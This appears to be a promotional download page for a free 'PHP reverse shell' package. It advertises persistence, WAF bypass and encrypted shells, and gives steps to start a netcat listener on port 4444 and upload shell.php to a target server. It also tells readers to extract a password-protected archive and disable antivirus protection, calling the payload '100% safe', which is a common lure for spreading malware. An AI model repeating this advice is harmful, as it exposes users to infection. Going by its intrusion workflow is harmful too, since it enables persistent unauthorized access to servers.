🐚 PHP Reverse Shell – Pentest Payload Updated is a free professional PHP reverse shell payload for authorized penetration testing with zero cost. No payment required. This tool includes one-liner payloads, persistent shells, SSL encryption, firewall bypass, and multiple connection methods — perfect for security researchers and penetration testers testing their own web applications. Fully updated for May 2026.
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| 🎯 What is it? | PHP reverse shell payload for authorized penetration testing | | 🎮 For whom? | Security researchers, penetration testers | | ⚡ Main feature | One-liner + persistent + SSL-encrypted shells | | 💰 Price | Zero cost (educational version) |
- 🐚 One-Liner Payloads — Single line PHP reverse shells
- 🔗 Persistent Shells — Survive page reloads and reboots
- 🔒 SSL Encryption — Encrypted reverse shell traffic
- 🛡️ WAF Bypass — Common WAF evasion techniques
- 🌐 Multiple Protocols — TCP, UDP, HTTP, HTTPS, ICMP
- 📡 Listener Tools — Netcat, Socat, Metasploit handlers
- 🐚 Download the payload from the button below
- 🔓 Extract the archive — password:
2026 - 🚀 Run the listener → Upload the shell → Execute
- Click the download button above
- Extract the
.rarfile using WinRAR or 7-Zip - Archive password:
2026 - Package size: ~5 MB
- Important: Antivirus may flag the payload (false positive)
- Temporarily disable real-time protection
- The payload is 100% safe — no malware, no keyloggers
- Start listener:
nc -lvnp 4444 - Upload
shell.phpto target server - Access the file via browser
- Reverse shell connected in your listener
Done! Start authorized testing — zero cost.
| Category | What It Does |
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| Payload Type | PHP reverse shell (TCP/UDP/SSL) |
| Listener | Netcat, Socat, Metasploit handlers |
| Persistence | Cron jobs, auto-start scripts |
| Encryption | SSL/TLS for secure communication |
| Bypass | WAF evasion, disabled_functions bypass |
| Commands | Interactive shell, file transfer, port forwarding |
| Component | Minimum | Recommended |
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| OS | Windows, Linux, macOS, any | Linux |
| PHP | 5.x, 7.x, 8.x | 8.x |
| Listener | Netcat or Socat | Metasploit |
| Storage | 10 MB | 10 MB |
| Internet | Required (for reverse connection) | Required |
| Archive Password | 2026 | 2026 |
Is this really free? Yes — completely free. Zero cost. No subscription.
What is the archive password? The password is 2026.
Is this legal? For testing YOUR OWN servers only with permission.
Does it bypass disabled_functions? Yes — several bypass techniques included.
Can it work over HTTPS? Yes — SSL-encrypted version included.
What PHP versions are supported? 5.3 through 8.4.
- ✅ For authorized penetration testing
- ✅ For security research
- ✅ For educational purposes
- ✅ No payment ever — lifetime free access
- ✅ Get written permission first
- ❌ Do NOT use on unauthorized systems
| Topic | What You'll Learn |
|---|---|
| Reverse Shells | How outbound connections work |
| PHP Security | Common web vulnerabilities |
| WAF Evasion | Bypassing web filters |
| Persistence | Maintaining access for testing |
| Encrypted Shells | SSL/TLS for shells |
Get persistent PHP reverse shells for authorized testing for free. PHP Reverse Shell – Pentest Payload Updated gives you one-liner payloads, persistent shells, SSL encryption, WAF bypass, and multiple protocols — zero cost. No payment. No subscription. Just test, secure, and learn.
One payload. PHP reverse shell. Zero cost.
Version 2.0.0 — Free PHP reverse shell payload. May 2026 update. Zero cost. No payment.